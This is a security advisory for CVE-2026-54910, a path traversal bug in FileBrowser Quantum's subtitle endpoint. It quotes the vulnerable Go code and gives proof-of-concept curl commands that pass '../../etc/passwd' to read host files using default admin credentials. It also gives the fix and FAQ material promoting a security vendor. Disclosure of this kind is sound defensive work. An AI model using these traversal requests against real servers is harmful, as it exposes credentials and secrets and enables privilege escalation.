CVE-2026-54910

FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files

userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path)  // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath)  // line 59: attacker controls this directory

func SanitizeUserPath(userPath string) (string, error) {
    // ...
    for _, segment := range segments {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    // ...
}

name := r.URL.Query().Get("name")  // line 37, raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
    filepath.Join(parentDir, name))  // line 63, TRAVERSAL

func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
    info, err := os.Stat(subtitlePath)        // follows the traversed path
    // size check: < 50MB
    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity
    content, err := os.ReadFile(subtitlePath) // reads and returns content
    return string(content), nil
}

// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))

docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"

mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"

• Arbitrary file read: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
• No anchor file required: The path vector works on a default install with an empty storage root, so no existing file in scope is needed.
• Scope bypass: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
• Credential exposure: /etc/passwd, /etc/shadow (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
• Privilege escalation: Reading the JWT signing key from the database or config file enables forging admin tokens.
• No special permissions required: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-54910 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260608182036-f3f4bbe80cb5); upgrading removes the vulnerable code path.

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Apply SanitizeUserPath() to the path parameter and filepath.Base() to the name parameter:

// http/media.go, subtitlesHandler

// Sanitize path parameter (like all other handlers)
path, err := utils.SanitizeUserPath(path)
if err != nil {
    return http.StatusBadRequest, err
}

// Strip directory components from name to prevent traversal
name = filepath.Base(name)

SanitizeUserPath() rejects any .. segment. filepath.Base("../../etc/passwd") returns "passwd", preventing traversal via name. Additionally, consider adding a file extension allowlist to restrict name to subtitle formats (.srt, .vtt, .ass, .ssa, .sub) only.

1. What is CVE-2026-54910? CVE-2026-54910 is a high-severity path traversal vulnerability in github.com/gtsteffaniak/filebrowser/backend (go), affecting versions < 0.0.0-20260608182036-f3f4bbe80cb5. It is fixed in 0.0.0-20260608182036-f3f4bbe80cb5. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-54910? CVE-2026-54910 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/gtsteffaniak/filebrowser/backend are affected by CVE-2026-54910? github.com/gtsteffaniak/filebrowser/backend (go) versions < 0.0.0-20260608182036-f3f4bbe80cb5 is affected.
4. Is there a fix for CVE-2026-54910? Yes. CVE-2026-54910 is fixed in 0.0.0-20260608182036-f3f4bbe80cb5. Upgrade to this version or later.
5. Is CVE-2026-54910 exploitable, and should I be worried? Whether CVE-2026-54910 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-54910 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-54910? Upgrade github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260608182036-f3f4bbe80cb5 or later.

Other vulnerabilities in github.com/gtsteffaniak/filebrowser/backend